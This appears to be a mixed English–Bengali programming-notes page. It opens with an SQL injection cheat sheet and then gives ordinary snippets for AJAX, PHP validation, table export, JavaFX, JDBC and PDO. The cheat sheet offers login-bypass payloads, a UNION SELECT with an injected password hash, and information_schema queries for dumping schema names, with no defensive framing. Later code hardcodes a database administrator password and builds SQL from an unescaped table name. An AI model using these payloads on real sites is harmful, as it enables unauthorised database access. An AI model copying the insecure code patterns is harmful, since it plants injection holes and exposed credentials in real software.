Step by Step Manual SQL Injection

Here Is The Best Link For Sql Injection link

used to confirm SQL Injections

or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055


or 1=1 ‘or 1=1 “or 1=1 or 1=1– ‘or 1=1– “or 1=1–
or 1=1# ‘or 1=1# “or 1=1# or 1=1/* ‘or 1=1/*
“or 1=1/* or 1=1;%00 ‘or 1=1;%00 “or 1=1;%00 ‘or’ ‘or
‘or’– ‘or– or a=a ‘or a=a “or a=a or a=a–
‘or a=a — “or a=a– or ‘a’=’a’ ‘or ‘a’=’a’ “or ‘a’=’a’ ‘)or(‘a’=’a’
“)”a”=”a” ‘)’a’=’a ‘or”=’

Finding-the-DBMS:

MS-SQL: user_name()

MYSQL: user ()

ORACLE: select user from dual;

Tables from the database

group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database()—+

columns from the database

group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schema=database()

php jquery ajax example

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <link rel="stylesheet" href="w3.css">
    <title>Document</title>
</head>
<body>
<table class="w3-table-all">
<thead>
<tr>
<th>Id</th>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tbody>
<tr>
<td id="id"></td>
<td id="name"></td>
<td id="email"></td>

</tr>
</tbody>
</table>

<button type="submit" class ="w3-button w3-blue" name="submit" id="getdata">Get Info </button>

    <script src="jquery.js"></script>
    <script>
    $(document).ready(function () {
        $("#getdata").click(function (){
$.ajax({

    url:"process.php",
    type: "POST",
    data:{"olee":"olee"},
    success:function (data){
        var obj = JSON.parse(data);
$("#id").text(obj.id);
$("#name").text(obj.name);
$("#email").text(obj.email);
    }
});
            });
        });
    
    </script>
</body>
</html>
<?php

$student = array("id" => 1,"name" => "olee ahmmed","email" => "olee@gmail.com");
echo json_encode($student);
?>

multiple array

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <link rel="stylesheet" href="w3.css">
    <title>Document</title>
</head>
<body>
<table class="w3-table-all">
<thead>
<tr>
<th>Id</th>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tbody>
<tr>
<td id="id"></td>
<td id="name"></td>
<td id="email"></td>

</tr>
</tbody>
</table>

<button type="submit" class ="w3-button w3-blue" name="submit" id="getdata">Get Info </button>

    <script src="jquery.js"></script>
    <script>
    $(document).ready(function () {
        $("#getdata").click(function (){
$.ajax({

    url:"process.php",
    type: "POST",
    data:{"olee":"olee"},
    success:function (data){
        
        var obj = JSON.parse(data);
        alert(obj[0].name);

    }
});
            });
        });
    
    </script>
</body>
</html>

process.php

<?php

$student = array(array("name" => array("gsm","olee"),"email" => "olee@gmail.com"));
echo json_encode($student);
?>

Php Form Validation

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
<!-- 
# action defines where the form contents are sent when the form is submitted
# htmlspecialchars() is used here to convert specific HTML characters to their HTML entity names .e.g. > will be converted to >
# $_SERVER is an array with entries filled in at PHP run time; the PHP_SELF key contains the filename of the PHP script that is being executed 
# method determines how the form’s contents is submited
# POST means that the form’s content is sent as part of the HTTP request’s body 
# trim() function use to remove white space from a single variable start and end point 
# php filter to use validate and sanitize data . Validating data = Determine if the data is in proper form.Sanitizing data = Remove any illegal character from the data.

-->
<?php 
$name;
$email;
$amount;
$nameerr="";
$emailerr="";
$amounterr="";
               // check submit button is clicked
  if ($_SERVER['REQUEST_METHOD'] == "POST" && isset($_POST['submit'])) {
    $name = trim($_POST['name']);
    $email = trim($_POST['email']);
    $amount= trim($_POST["amount"]);
  
                // if fill input field
     if (!empty($name) && !empty($email)) {
         // validate String 
         if (!filter_var($name,FILTER_SANITIZE_STRING)) {
             $nameerr = " Your Text Is Not Valid  ";
         }
         // Validate Email
        if (!filter_var($email,FILTER_VALIDATE_EMAIL)) {
            $emailerr = " Please Provide A Valid Email Address ";
        }

        if (!is_numeric($amount)) {
            $amounterr =" Please Give Valid Number ";
        }


     }
  if (empty($name)) {
      $nameerr = "Name Is Required";
  }

  if (empty($email)) {
      $emailerr = " Please Fill Email Field ";
  }

  if (empty($amount)) {
    $amounterr = " Please Fill Amount Field ";
} 
  }
  ?>
    <form action="<?php echo htmlspecialchars ($_SERVER['PHP_SELF']);?>" method="post">
        <label for="name"> Name </label> <input type="text" name="name" id="name">         <?php echo $nameerr;?> 
<br> 
        <label for="email"> Email </label> <input type="text" name="email" id="email">  <?php echo $emailerr;?>  <br>
      
        <label for="amount"> Amount </label> <input type="text" name="amount" id="amount">  <?php echo $amounterr;?>  <br>


        <button type="submit" name ="submit">Submit</button>
    </form>
 
</body>
</html>

Javascript Print Example

Print Specific Div

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
<link rel="stylesheet" href="w3.css">
<link rel="stylesheet" href="print.css">
 <style>
 </style>
</head>
<body id="printarea">

Lorem ipsum dolor sit amet consectetur adipisicing elit. Reprehenderit, voluptas aut fugiat at excepturi ratione architecto possimus consequuntur consequatur facere qui odit autem nisi non cumque nemo aperiam doloribus nihil.
  <div id="printarea">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt, vel. Dolorem libero in est quisquam, nesciunt repellat omnis praesentium similique veritatis neque temporibus esse eius adipisci repellendus quia laudantium cum.</div>
 <p>HOME  SNIPPETS  ADDON  WINDOW PRINT METHOD
    Window Print Method
    By JavaScriptSource Staff on Feb 23, 2006
    Add a button to allow your visitors to print your Web page. Compact and simple, yet highly requested.
    
    The JavaScript Source: Snippets : Window Print Method
    Simply click inside the window below, use your cursor to highlight the script, and copy [Control]+C the script into a new file in your text editor (such as Note Pad) and save [Control+S]. The script is yours!!! 
    </p>
  <button onclick=" printElem('a')">Print</button>
 <script>
 function printElem(divId) {
    var content = document.getElementById(divId).innerHTML;
    var mywindow = window.open('', 'Print', 'height=600,width=800');

    mywindow.document.write('<html><head><title>Print</title>');
    mywindow.document.write('</head><body >');
    mywindow.document.write(content);
    mywindow.document.write('</body></html>');

    mywindow.document.close();
    mywindow.focus()
    mywindow.print();
    mywindow.close();
    return true;
}
 </script>
     
   
</body>
</html> 

Html Table Export

এইচটিএমএল টেবিল পিডিএফ হিসাবে এক্সপোর্ট

প্রথমে jspdf এর cdn যোগ করতে হবে এরপর html এর যে অংশ পিডিএফ করতে চাচ্ছি তার id দিতে হবে content এবং যে বাটনে ক্লিক করলে এক্সপোর্ট হবে তার idদিতে হবে এক্সপোর্ট শেষে জাভা স্ক্রিপ্ট কোডটি রাখতে হবে। যদি html এর বাটন এবং কনটেন্ট এর id পরিবর্তনের দরকার পরে তবে ফাংশনের ভিতরে id এর প্যারামিটার পরিবর্তন করলেই হবে.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>

 
</head>
<body>
    <div class="w3-container" >
    
      
        <table class="w3-table-all w3-small" id="content">
          <tr>
            <th>First Name</th>
            <th>Last Name</th>
            <th>Points</th>
          </tr>
          <tr>
            <td>Jill</td>
            <td>Smith</td>
            <td>50</td>
          </tr>
          <tr>
            <td>Eve</td>
            <td>Jackson</td>
            <td>94</td>
          </tr>
          <tr>
            <td>Adam</td>
            <td>Johnson</td>
            <td>67</td>
          </tr>
        </table>
      </div>
<button id="export">Save</button>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/jspdf/1.3.3/jspdf.min.js"></script>

    <script>
    document.getElementById('export').addEventListener('click',
  exportPDF);

var specialElementHandlers = {
  // element with id of "bypass" - jQuery style selector
  '.no-export': function(element, renderer) {
    // true = "handled elsewhere, bypass text extraction"
    return true;
  }
};

function exportPDF() {

var doc = new jsPDF('p', 'pt', 'a4');
//A4 - 595x842 pts
//https://www.gnu.org/software/gv/manual/html_node/Paper-Keywords-and-paper-size-in-points.html


//Html source 
var source = document.getElementById('content').innerHTML;

var margins = {
  top: 10,
  bottom: 10,
  left: 10,
  width: 595
};

doc.fromHTML(
  source, // HTML string or DOM elem ref.
  margins.left,
  margins.top, {
    'width': margins.width,
    'elementHandlers': specialElementHandlers
  },

  function(dispose) {
    // dispose: object with X, Y of the last line add to the PDF 
    //          this allow the insertion of new lines after html
    doc.save('Test.pdf');
  }, margins);
}

    </script>
</body>
</html> 

এইচটিএমএল টেবিল এক্সেল হিসাবে এক্সপোর্ট

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>

 
</head>
<body>
    <div class="w3-container" >
    
      
        <table class="w3-table-all w3-small" id="content">
          <tr>
            <th>First Name</th>
            <th>Last Name</th>
            <th>Points</th>
          </tr>
          <tr>
            <td>Jill</td>
            <td>Smith</td>
            <td>50</td>
          </tr>
          <tr>
            <td>Eve</td>
            <td>Jackson</td>
            <td>94</td>
          </tr>
          <tr>
            <td>Adam</td>
            <td>Johnson</td>
            <td>67</td>
          </tr>
        </table>
      </div>
      <button onclick="exportToExcel('content')">Export Table Data To Excel File</button>
    <script>
    
    function exportToExcel(tableID, filename = ''){
    var downloadurl;
    var dataFileType = 'application/vnd.ms-excel';
    var tableSelect = document.getElementById(tableID);
    var tableHTMLData = tableSelect.outerHTML.replace(/ /g, '%20');
    
    // Specify file name
    filename = filename?filename+'.xls':'export_excel_data.xls';
    
    // Create download link element
    downloadurl = document.createElement("a");
    
    document.body.appendChild(downloadurl);
    
    if(navigator.msSaveOrOpenBlob){
        var blob = new Blob(['\ufeff', tableHTMLData], {
            type: dataFileType
        });
        navigator.msSaveOrOpenBlob( blob, filename);
    }else{
        // Create a link to the file
        downloadurl.href = 'data:' + dataFileType + ', ' + tableHTMLData;
    
        // Setting the file name
        downloadurl.download = filename;
        
        //triggering the function
        downloadurl.click();
    }
}
 
    </script>
</body>
</html> 

এইচটিএমএল টেবিল CSV হিসাবে এক্সপোর্ট

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>

 
</head>
<body>
    <div class="w3-container" >
    
      
        <table class="w3-table-all w3-small" id="content">
          <tr>
            <th>First Name</th>
            <th>Last Name</th>
            <th>Points</th>
          </tr>
          <tr>
            <td>Jill</td>
            <td>Smith</td>
            <td>50</td>
          </tr>
          <tr>
            <td>Eve</td>
            <td>Jackson</td>
            <td>94</td>
          </tr>
          <tr>
            <td>Adam</td>
            <td>Johnson</td>
            <td>67</td>
          </tr>
        </table>
      </div>
      <button >Export Table Data To csv File</button>
    <script>
    function download_csv(csv, filename) {
    var csvFile;
    var downloadLink;

    // CSV FILE
    csvFile = new Blob([csv], {type: "text/csv"});

    // Download link
    downloadLink = document.createElement("a");

    // File name
    downloadLink.download = filename;

    // We have to create a link to the file
    downloadLink.href = window.URL.createObjectURL(csvFile);

    // Make sure that the link is not displayed
    downloadLink.style.display = "none";

    // Add the link to your DOM
    document.body.appendChild(downloadLink);

    // Lanzamos
    downloadLink.click();
}

function export_table_to_csv(html, filename) {
	var csv = [];
	var rows = document.querySelectorAll("table tr");
	
    for (var i = 0; i < rows.length; i++) {
		var row = [], cols = rows[i].querySelectorAll("td, th");
		
        for (var j = 0; j < cols.length; j++) 
            row.push(cols[j].innerText);
        
		csv.push(row.join(","));		
	}

    // Download CSV
    download_csv(csv.join("\n"), filename);
}

document.querySelector("button").addEventListener("click", function () {
    var html = document.querySelector("table").outerHTML;
	export_table_to_csv(html, "table.csv");
});
    
    </script>
</body>
</html> 

এইচটিএমএল টেবিল Ms Word Docsহিসাবে এক্সপোর্ট

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>

 
</head>
<body>
    <div class="w3-container" id="source-html" >
    
      
        <table class="w3-table-all w3-small" id="content">
          <tr>
            <th>First Name</th>
            <th>Last Name</th>
            <th>Points</th>
          </tr>
          <tr>
            <td>Jill</td>
            <td>Smith</td>
            <td>50</td>
          </tr>
          <tr>
            <td>Eve</td>
            <td>Jackson</td>
            <td>94</td>
          </tr>
          <tr>
            <td>Adam</td>
            <td>Johnson</td>
            <td>67</td>
          </tr>
        </table>
      </div>
      <button id="btn-export" onclick="exportHTML();">Export to
        word doc</button>    <script>
       function exportHTML(){
       var header = "<html xmlns:o='urn:schemas-microsoft-com:office:office' "+
            "xmlns:w='urn:schemas-microsoft-com:office:word' "+
            "xmlns='http://www.w3.org/TR/REC-html40'>"+
            "<head><meta charset='utf-8'><title>Export HTML to Word Document with JavaScript</title></head><body>";
       var footer = "</body></html>";
       var sourceHTML = header+document.getElementById("source-html").innerHTML+footer;
       
       var source = 'data:application/vnd.ms-word;charset=utf-8,' + encodeURIComponent(sourceHTML);
       var fileDownload = document.createElement("a");
       document.body.appendChild(fileDownload);
       fileDownload.href = source;
       fileDownload.download = 'document.doc';
       fileDownload.click();
       document.body.removeChild(fileDownload);
    }
    </script>
</body>
</html> 

boilerplate light snippet

html

    <!-- Navbar -->
<div class="w3-top">
	<div class="w3-bar w3-red w3-card w3-left-align w3-large">
	  <a class="w3-bar-item w3-button w3-hide-medium w3-hide-large w3-right w3-padding-large w3-hover-white w3-large w3-red" href="javascript:void(0);" onclick="myFunction()" title="Toggle Navigation Menu"><i class="fa fa-bars">≡</i></a>
	  <div class="w3-left">

		<a href="#" class="w3-bar-item w3-button w3-padding-large w3-white">Home</a>
		<a href="#" class="w3-bar-item w3-button w3-hide-small w3-padding-large w3-hover-white">Link 1</a>
		<a href="#" class="w3-bar-item w3-button w3-hide-small w3-padding-large w3-hover-white">Link 2</a>
	   
	  </div>
	  <div class="w3-right">

		<a href="#" class="w3-bar-item w3-button w3-hide-small w3-padding-large w3-hover-white">Link 3</a>
		<a href="#" class="w3-bar-item w3-button w3-hide-small w3-padding-large w3-hover-white">Link 4</a>
	  
	  </div>
</div>
  
	<!-- Navbar on small screens -->
	<div id="navDemo" class="w3-bar-block w3-white w3-hide w3-hide-large w3-hide-medium w3-large">
	  <a href="#" class="w3-bar-item w3-button w3-padding-large">Link 1</a>
	  <a href="#" class="w3-bar-item w3-button w3-padding-large">Link 2</a>
	  <a href="#" class="w3-bar-item w3-button w3-padding-large">Link 3</a>
	  <a href="#" class="w3-bar-item w3-button w3-padding-large">Link 4</a>
	</div>
  </div>
  

javascript

  <script>
	// Used to toggle the menu on small screens when clicking on the menu button
	function myFunction() {
	  var x = document.getElementById("navDemo");
	  if (x.className.indexOf("w3-show") == -1) {
		x.className += " w3-show";
	  } else { 
		x.className = x.className.replace(" w3-show", "");
	  }
	}
	</script>

php code need on developent

Array

array as function parameter

$a=array("table_name"=>"userinfo");
echo $crud->find($a);

return array value

$sql["table_name"];

array inside string

public function find($sql) {
        $query="select * from {$sql["table_name"]}";
        echo $query; 
    }

JAVA JDBC CRUD EXAMPLE

To Connect With SERVER SEE Configuration Tutorial Link

package mypack; 
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
 
public class Myconnection {
      // Your IP address must be static otherwise this will not work. You //can get your Ip address
    //From <em>Network and security in Windows.</em>
        String ip = "192.168.10.101";
        // This is default if you are using JTDS driver.
        String classs = "net.sourceforge.jtds.jdbc.Driver";
        // Name Of your database.
        String db = "NEWFIZTEST";
        // Userame and password are required for security.
       // so Go to sql server and add username and password for your database.
        String un = "sa";
        String password = "fizsa7,";
         
        public Connection conn() {
            Connection conn = null;
            String ConnURL;
            try {
                Class.forName(classs);
                ConnURL = "jdbc:jtds:sqlserver://" + ip + ";"
                        + "databaseName=" + db + ";user=" + un + ";password="
                        + password + ";";
                conn = DriverManager.getConnection(ConnURL);
            }
            catch (SQLException se)
            {
             
            }
            catch (ClassNotFoundException e) {
            }
            catch (Exception e) {
            }
            return conn;
        }
         
        public static void main(String[] args) {
             
        ArrayList <String>cardnameArrayList= new ArrayList<>();
         Myconnection sapLogin = new Myconnection();
         Connection connection = sapLogin.conn();
         if (connection!=null) {
            System.out.println("connected");
            
            
            // For Select Data From Database
            try {
             Statement statement = connection.createStatement();
             ResultSet resultSet = statement.executeQuery("SELECT TOP 10 cardname FROM OQUT");
             while (resultSet.next()) {
              cardnameArrayList.add(resultSet.getString("cardname")); // column index from 1 if you use coloumn name then
             }
             System.out.println(cardnameArrayList);
            } catch (SQLException e) {
             // TODO Auto-generated catch block
             e.printStackTrace();
            }
        	
          	// Insert Data 
          	try {
          	 Statement insertStatement = connection.createStatement();
          	 // Return A Integer Value as row number if (insert>0)
          	 int insert = insertStatement.executeUpdate("INSERT INTO OQUT (DocNum,DocEntry,cardname) VALUES (147845,474774,'74587')");
          	 System.out.println("Data Inserted SuccessFull");
          	} catch (SQLException e) {
          	 e.printStackTrace();
          	}
        	
        	// For Delete  Data
			try {
				 Statement deleteStatement;
				 deleteStatement = connection.createStatement();
				 int delete = deleteStatement.executeUpdate("DELETE  FROM OQUT WHERE DocNum='14542'");
				 if (delete > 0) {
				  System.out.println("Data Deleted Successfull");
				 }
				} catch (SQLException e) {
				 // TODO Auto-generated catch block
				 e.printStackTrace();
				}
        	
			// For Update Data 
			try {
				Statement updateStatement = connection.createStatement();
				int update= updateStatement.executeUpdate("UPDATE OQUT SET CARDNAME='1451245' WHERE DOCNUM='147845'");
				if (update>0) {
					System.out.println("Data Updated Successfull");
				}
			} catch (SQLException e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
			}
			
			
        	
        	
        }
       }
}

Java Desktop Application Development With JavaFx

  • First Set Javafx Envirnment For Eclips With This link
  • Download Scence Builder To Design visually
  • Design Your Ui And Save As Fxml In Any Location
  • Create A Folder res NAME ” res ” oR Another As You Wish AS And Import Fxml File (Same Location Of Your Java File)
  • After Importing Fxml File Now Time To Load Fxml File
  • Write Below Code To Load A Fxml File For Example My File Name Is mylayout.fxml And It Was Exist A Folder

আমরা যদি ইচ্ছা মতো ড্র্যাগ করে লেআউট ডিজাইন করতে চাই তাহলে রূট কন্টেইনার হিসাবে PANE নিয়ে কাজ করলে সবচেয়ে ভালো সহায়তা পাবো।

আমি যে জাভা ফাইল এ কাজ করছি সেটা যে লোকেশন এ আছে সেই লোকেশন এ একটা res নামে ফোল্ডার তৈরী করে সেখানে আমার fxml ফাইল টি রেখেছি মনে রাখতে হবে fxml এর root container বা রূট ডিভ এ fxml এর একটা ভার্সন দেয়া আছে আমরা যখন fxml ফাইল লোড করে রান করবো তখন আমাদের jdk ভার্সন এবং fxml এর ফাইলের রূট ডিভ এ fxml এর ভার্সন একই দিতে হবে। এক না হলেও fxml ফাইলটি লোড হবে কিন্তু কনসোলে একটি ওয়ার্নিং মেসেজ শো করবে যা আমরা ওই তে দেখতে পারবোনা তাই কোনো ওয়ার্নিং যাতে না আসে সে জন্য হয় fxml ফাইল এ যে ভার্সন আসে jdk এর ভার্সন ও তাই হতে হবে নয়তো jdk এর যে ভার্সন যা আছে fxml এর ফাইলের রূট ডিভ এ fxml এর ভার্সন তাই হতে হবে আর এটা করার জন্য সিম্পলি fxml ফাইল তা eclips বা অন্য কোনো এডিটর এ ওপেন করে ভার্শন নাম্বারটি চেঞ্জ করে সেভ করতে হবে.

Load Fxml File As Ui In Java Class

// Create the Pane and all Details
FXMLLoader loader = new FXMLLoader();
loader.setLocation(getClass().getResource("res/mylayout.fxml"));
Parent content = loader.load();
//Create the Scene
Scene scene = new Scene(content);
//Set the Scene to the Stage
primaryStage.setScene(scene);
//Set the Title to the Stage
primaryStage.setTitle("A simple FXML Example");
//Display the Stage
primaryStage.show();

Fxml ফাইল কে জাভা কোড দ্বারা কন্ট্রোল করা Fxml

সবচেয়ে সহজে কন্ট্রোলার ক্লাস তৈরির নিয়ম হলো Sence builder এর বামপাশ এ controllar নাম একটি মেনু বাটন আছে ওটাতে নিজের ইচ্ছামতো controllar ক্লাসের নাম দিয়ে উপরে টাইটেল বার এ view মেনু হতে show sample controllar skleton এ ক্লিক কে full সিলেক্ট করলে controllar class এর জাভা কোড পেয়ে যাবো এখন আমরা এই কোড দিয়ে কাজ করবো।

আমরা কিভাবে ফাংশন ডিফাইন করে দেব যে কোন বাটন এ বা কোন কম্পোনেন্ট এ ক্লিক করলে কি হবে ?
১. অপসন ১ : fxml ফাইলের xml কম্পোনেন্ট এ onAction =”#এরপরে কন্ট্রোলার ক্লাসের ফাঙ্কশনের নাম বলে দিতে হবে। যেমন আমার একটি বাটন আছে fxml ফাইলে এবং কন্ট্রোলার ক্লাস এ একটি ফাংশন আছে আমি চাচ্ছি বাটনটি ক্লিক করলে কোনো স্পেসিফিক মেথড কল হবে। তাহলে প্রথমে fxml লোড করার পর কন্ট্রোলার ক্লাস সেট করতে হবে এবং মনে রাখতে হবে fxml ফাইলের কোনো কম্পোনেন্ট যেমন বাটন যার একটি id আছে উদাহরণ স্বরূপ id =”save” তাহলে কন্ট্রোলার ক্লাস এ এই বাটন এক্সেস করতে হলে ভ্যারিয়েবল ডিফাইন করার সময় ভ্যারিয়েবল এর নাম উক্ত বাটনের id এর নাম হবে অর্থাৎ id =”save” হয় তাহলে ভ্যারিয়েবল হবে private Button save= null;তবে মনে রাখতে হবে ভ্যারিয়েবল ডিফাইন করার সময় আমরা যে ক্লাসগুলো ইম্পোর্ট করি তা যেন private Button save= null; ক্লাসের হয়।

Php Pdo Database Connection class

php pdo নিয়ে কাজ করার জন্য আমরা নিচের পদ্ধতি অনুসরণ করবো।
প্রথমে আমরা একটি ক্লাস তৈরী করবো এবং এর মধ্যে আমাদের কানেকশন এর কোডটি রাখবো এবং যখন কোনো সময় আমাদের কানেক্শনটি দরকার হবে তখন সিম্পলি আমরা এটাকে বেবহার করবো।
নিচের কানেকশন ক্লাসটি আমি ২০১৮ সালে নিজের মতো করে বানিয়েছি যেটা বেবহার করে (sql ,mysql ,pgsql ) ইত্যাদি ডাটাবেস এর সাথে সংযোগ স্থাপন করে বিভিন্ন কার্য সম্পাদন করা যায়।

<?php

//////////////////////////////////////////////////////////////
$host = "localhost"; //  Server Name Of Host Location Where Your Database You Can Use Ip Address Like 127.0.0.1  .
$db = "test"; // Put Here Your Database Name Where You Store And Receive Information .
$user = "root"; //Your Server Login User Name
$pass = "usbw"; // Server Login Password by Default "" for Local Pc

$db_type;





class Database
{



    public $charset = "utf8mb4";// Which Unicode Use To Received And Store Data Opreation utf8mb4m give More Freture than utf8
    public $port = 3306; //port number of server
    public $pdo;
   public $options = [
        PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION, 
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
        PDO::ATTR_EMULATE_PREPARES   => FALSE,
        PDO::ATTR_PERSISTENT         => true,
    ];

    public function __construct($db_type,$host,$db,$user,$pass)
    {
        
        if (!isset($this->pdo)) {
            if ($db_type == "mysql") {
                $dsn  = "mysql:host=$host;dbname=$db;charset={$this->charset};{$this->charset}";
               try {
                   $this->pdo = new PDO($dsn,$user,$pass,$this->options);
                   echo "connected";
               }
               catch (PDOEXCEPTION $e){
               echo $e->getMessage();
               }
           }
   
   
           elseif ($db_type == "pgsql") {
               $dsn  = "pgsql:host=$host;dbname=$db;charset={$this->charset};{$this->charset}";
               try {
                $this->pdo = new PDO($dsn,$user,$pass,$this->options);
                   //$dsn = "pgsql:host=$host;port=5432;dbname=$db;user=$username;password=$password";
   
                   echo "connected";
               }
               catch (PDOEXCEPTION $e){
               echo $e->getMessage();
               }
           }
   
           elseif ($db_type == "sql") {
               $dsn  = "sqlsrv:server=$host;Database=$db;";
               try {
                $this->pdo = new PDO($dsn,$user,$pass);
   //PDO( "sqlsrv:server=$serverName ; Database=AdventureWorks", "", "");
                   echo "connected";
               }
               catch (PDOEXCEPTION $e){
               echo $e->getMessage();
               }
           }
   
        }
  


    }
}


$dbcon = new Database("mysql","localhost","test","root","usbw");
// To Use This Connection First  global $dbv; then use     $stmt = $dbcon->pdo->prepare( $sql);

এই ক্লাসটি ব্যবহার করার নিয়ম নিম্নই দেখানো হলো :
১. যদি আমরা কোনো ডেটাবেসে কানেকশন করতে চাই তাহলে ক্লাসের কনস্ট্রাক্ট মেথডে প্যারামিটার হিসাবে ডাটাবেসের ইনফরমেশন দিলেই ডাটাবেসের সাথে সংযোগ করবে। যেমন $dbcon = new Database(“mysql”,”localhost”,”test”,”root”,”usbw”); তবে প্রথমে কানেকশন ক্লাসকে ইনক্লুড করে নিতে হবে। এই ভ্যারিয়েবল টি echo করলে কানেক্টেড নাম স্ট্রিং প্রদান করবে যেটা কোনো এক জায়গায় শো করে আমরা বুঝতে পারবো যে আমরা সার্ভার এর সাথে সংযুক্ত আছি কিনা যেমন : echo $dbcon ;

২. এই ক্লাসটি বেবহার করে কিভাবে ডাটাবেস অপারেশন করবো ?
কানেকশন ক্লাস এর কানেক্শনটি ব্যবহার করার জন্য সিম্পলি এভাবে বেবহার করবো : $stmt = $dbcon->pdo->prepare( ‘SELECT * FROM users WHERE email = ? AND status=?’); প্যারামিটার হিসাবে আমরা সকল কোয়েরি দেব এবং পরবর্তীতে $stmt কে বেবহার করে কাজ সম্পাদন করবো।

$stmt->execute([$email, $status]);
$user = $stmt->fetch();
// or
$stmt = $pdo->prepare(‘SELECT * FROM users WHERE email = :email AND status=:status’);
$stmt->execute([’email’ => $email, ‘status’ => $status]);
$user = $stmt->fetch();

এখন আমরা দেখবো কিভাবে প্রাক্টিক্যালয় কাজ করা যায়.